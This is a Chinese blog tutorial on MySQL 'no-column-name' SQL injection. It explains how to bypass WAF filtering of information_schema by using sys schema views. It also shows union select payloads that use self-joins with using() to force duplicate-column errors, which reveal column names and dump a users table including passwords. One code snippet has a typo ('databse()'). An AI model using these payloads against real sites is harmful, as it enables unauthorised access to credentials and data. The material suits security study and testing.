【网络安全】SQL注入——无列名注入

一、前言

今天来学习一下无列名注入,无列名注入是什么。我们在真实环境渗透测试的时候很大概率会遇到WAF或者正则,其中在SQL注入的时候被过滤掉information,导致无法查询到表名。

二、information

information是什么,有基础的应该知道information是MySQL自带的数据库,其中包含表名,列名这些关键的信息。

sql注入一般都会用到information_schema这个库(mysql自带的库),禁用掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。如果information被过滤掉了,该怎么办呢?

2.1sys库

MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

sys库的两种形式:

(1). schema_table_statistics_with_buffer

sql 复制代码
#查询数据库名
select table_schema from sys.schema_auto_increment_columns;
sql 复制代码
#查询表明
select table_name from sys.schema_auto_increment_columns where table_schema=databse();

(2). x$schema_table_statistics_with_buffer

sql 复制代码
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
python 复制代码
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();

三、无列名注入

join------用于合并两个表;

using------表示使用什么字段进行连接;

通过join自连接同一张表制造重复列名错误,再利用using子句强制暴露所有列名结构。进行union select注入时,前后查询结果的列数必须严格一致,否则会引发错误。

得到 id 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b)as c;

得到 username 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id))as c;

得到 password 列名重复报错

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username))as c;

得到 user 表中的数据

select * from users where id='1' union all select * from (select * from users as a join users as b using(id,username,password))as c;

相关推荐
大鹏说大话4 小时前
SSL证书自动化的未来:ACME协议与Let’s Encrypt实践
网络·安全
天天进步20155 小时前
打破沙盒限制:OpenWork 如何通过权限模型实现安全的系统级调用?
人工智能·安全
骥龙5 小时前
第十篇:合规与未来展望——构建AI智能体安全标准
人工智能·安全
数字供应链安全产品选型5 小时前
2026年4月22日:当Hermes Agent开启“自主进化”时代,智能体安全是否已成为企业数字化转型的“阿喀琉斯之踵”?
安全
xiaozhazha_5 小时前
企业级AI CRM安全架构深度解析:从OpenClaw风险到快鹭智能CRM的“四重护栏”实践
人工智能·安全·安全架构
领麦微红外7 小时前
W-TRS-5.5D1传感器:充电桩的“温度卫士”,解锁安全高效充电新范式
人工智能·安全
祖传F878 小时前
SQL DATE()函数会抹去时间戳
数据库·sql
Chockmans9 小时前
图片马合成保姆级教程
web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构·春秋云境
chutao9 小时前
EasyPDF 转图片(EasyPdf2Image)—— 本地安全实用的PDF与图片双向互转工具
安全·职场和发展·pdf·创业创新·学习方法
STAT abil9 小时前
MySQL 的mysql_secure_installation安全脚本执行过程介绍
数据库·mysql·安全